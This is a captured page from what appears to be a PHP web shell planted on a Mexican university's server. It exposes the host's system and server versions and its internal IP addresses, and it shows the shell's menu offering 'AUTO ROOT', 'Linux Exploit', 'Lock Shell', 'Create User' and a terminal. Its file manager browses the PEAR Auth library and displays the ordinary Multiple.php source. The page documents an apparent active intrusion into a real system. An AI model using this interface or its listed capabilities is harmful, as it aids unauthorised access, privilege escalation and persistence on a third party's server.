Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
Auth /
Container /
[ HOME SHELL ]
Name
Size
Permission
Action
Array.php
4.49
KB
-rw-r--r--
DBLite.php
10.32
KB
-rw-r--r--
DB.php
19.98
KB
-rw-r--r--
File.php
7.52
KB
-rw-r--r--
IMAP.php
6.08
KB
-rw-r--r--
KADM5.php
4.94
KB
-rw-r--r--
LDAP.php
28.83
KB
-rw-r--r--
MDB2.php
20.03
KB
-rw-r--r--
MDB.php
19.86
KB
-rw-r--r--
Multiple.php
5.11
KB
-rw-r--r--
NetVPOPMaild.php
3.85
KB
-rw-r--r--
PEAR.php
4.84
KB
-rw-r--r--
POP3.php
4.17
KB
-rw-r--r--
RADIUS.php
5.8
KB
-rw-r--r--
SAP.php
5.24
KB
-rw-r--r--
SMBPasswd.php
4.71
KB
-rw-r--r--
SOAP5.php
7.88
KB
-rw-r--r--
SOAP.php
6.67
KB
-rw-r--r--
vpopmail.php
2.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Multiple.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker: */ /** * Storage driver for using multiple storage drivers in a fall through fashion * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.01 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_01.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category Authentication * @package Auth * @author Adam Ashley <aashley@php.net> * @copyright 2001-2006 The PHP Group * @license http://www.php.net/license/3_01.txt PHP License 3.01 * @version CVS: $Id: Multiple.php 289653 2009-10-15 04:50:43Z aashley $ * @since File available since Release 1.5.0 */ /** * Include Auth_Container base class */ require_once "Auth/Container.php"; /** * Include PEAR package for error handling */ require_once "PEAR.php"; /** * Storage driver for using multiple storage drivers in a fall through fashion * * This storage driver provides a mechanism for working through multiple * storage drivers until either one allows successful login or the list is * exhausted. * * This container takes an array of options of the following form: * * array( * array( * 'type' => <standard container type name>, * 'options' => <normal array of options for container>, * ), * ); * * Full example: * * $options = array( * array( * 'type' => 'DB', * 'options' => array( * 'dsn' => "mysql://user:password@localhost/database", * ), * ), * array( * 'type' => 'Array', * 'options' => array( * 'cryptType' => 'md5', * 'users' => array( * 'admin' => md5('password'), * ), * ), * ), * ); * * $auth = new Auth('Multiple', $options); * * @category Authentication * @package Auth * @author Adam Ashley <aashley@php.net> * @copyright 2001-2006 The PHP Group * @license http://www.php.net/license/3_01.txt PHP License 3.01 * @version Release: @package_version@ File: $Revision: 289653 $ * @since File available since Release 1.5.0 */ class Auth_Container_Multiple extends Auth_Container { // {{{ properties /** * The options for each container * * @var array $options */ var $options = array(); /** * The instanciated containers * * @var array $containers */ var $containers = array(); // }}} // {{{ Auth_Container_Multiple() /** * Constructor for Array Container * * @param array $data Options for the container * @return void */ function Auth_Container_Multiple($options) { if (!is_array($options)) { PEAR::raiseError('The options for Auth_Container_Multiple must be an array'); } if (count($options) < 1) { PEAR::raiseError('You must define at least one sub container to use in Auth_Container_Multiple'); } foreach ($options as $option) { if (!isset($option['type'])) { PEAR::raiseError('No type defined for sub container'); } } $this->options = $options; } // }}} // {{{ fetchData() /** * Get user information from array * * This function uses the given username to fetch the corresponding * login data from the array. If an account that matches the passed * username and password is found, the function returns true. * Otherwise it returns false. * * @param string Username * @param string Password * @return boolean|PEAR_Error Error object or boolean */ function fetchData($user, $pass) { $this->log('Auth_Container_Multiple::fetchData() called.', AUTH_LOG_DEBUG); foreach ($this->options as $key => $options) { $this->log('Using Container '.$key.' of type '.$options['type'].'.', AUTH_LOG_DEBUG); if (isset($this->containers[$key]) && is_a($this->containers[$key], 'Auth_Container')) { $container = &$this->containers[$key]; } else { $this->containers[$key] = &$this->_auth_obj->_factory($options['type'], $options['options']); $this->containers[$key]->_auth_obj = &$this->_auth_obj; $container = &$this->containers[$key]; } $result = $container->fetchData($user, $pass); if (PEAR::isError($result)) { $this->log('Container '.$key.': '.$result->getMessage(), AUTH_LOG_DEBUG); return $result; } elseif ($result == true) { $this->log('Container '.$key.': Authentication successful.', AUTH_LOG_DEBUG); return true; } else { $this->log('Container '.$key.': Authentication failed.', AUTH_LOG_DEBUG); } } $this->log('Auth_Container_Multiple: All containers rejected user credentials.', AUTH_LOG_DEBUG); return false; } // }}} } ?>
Close